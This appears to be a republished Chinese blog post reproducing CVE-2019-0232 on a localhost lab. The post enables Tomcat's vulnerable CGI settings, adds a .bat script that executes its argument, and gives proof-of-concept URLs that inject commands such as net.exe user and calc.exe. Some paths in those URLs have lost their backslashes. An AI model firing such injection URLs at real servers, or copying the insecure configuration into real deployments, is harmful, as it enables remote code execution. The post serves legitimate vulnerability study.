CVE-2019-0232漏洞复现

Posted zw1sh

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2019-0232漏洞复现相关的知识,希望对你有一定的参考价值。

记录一个cve-2019-0232的漏洞环境搭建的任务

1、相关信息

2019年4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

触发该漏洞需要同时满足以下条件:
1. 系统为Windows
2. 启用了CGI Servlet(默认为关闭)
3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

2、漏洞复现

我的复现环境:

windows server 2008 R2

apache Tomcat 8.5.23

jdk 1.8

jdk可以去官网下载,tomcat下载地址:https://archive.apache.org/dist/tomcat/ (最好下载bin目录里的文件)


然后就是配置java环境变量,参考https://www.runoob.com/java/java-environment-setup.html

解压配置tomcat,运行startup.bat,如果这里不能正确弹出命令行窗口显示服务器已运行,可能是java环境变量配置有问题,也可以在startup.bat最后加一个pause让命令行在最后不关闭,看一下是否有报错信息

技术图片


配置好之后,需要修改一些tomcat的配置:

1)conf/web.xml 中启用CGIServlet和启用cgi的servlet-mapping
注意这里可能有些版本里的cgiPathPrefix的值是WEB-INF/cgi,需要改一下为我们后面创建的WEB-INF/cgi-bin

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

#将下面的语句的注释去掉
<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

2)之后修改 conf/context.xml 的添加 privileged="true"属性

3)然后在 ROOTWEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个内容为 echo Content-type: text/html 的 .bat 文件。

例:hello.bat
@echo off
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%

3、漏洞利用

Poc如下:

http://localhost:8080/cgi-bin/hello.bat?&C%3AWindowsSystem32 et.exe+user

http://localhost:8080/cgi-bin/hello.bat?&C%3AWindowsSystem32calc.exe
技术图片

技术图片

(这里显示联通测速页面只是设计的一个例子)

4、漏洞原理具体分析

参考:https://xz.aliyun.com/t/4875





以上是关于CVE-2019-0232漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

CVE-2019-0232(Apache Tomcat 远程代码执行)漏洞复现

CVE-2019-0232漏洞复现

复现CVE-2019-0232 Tomcat 远程代码执行

4W字+上千行代码!Tomcat渗透测试方法大总结,拿来吧你!

漏洞处置建议|Apache Tomcat远程代码执行漏洞处置建议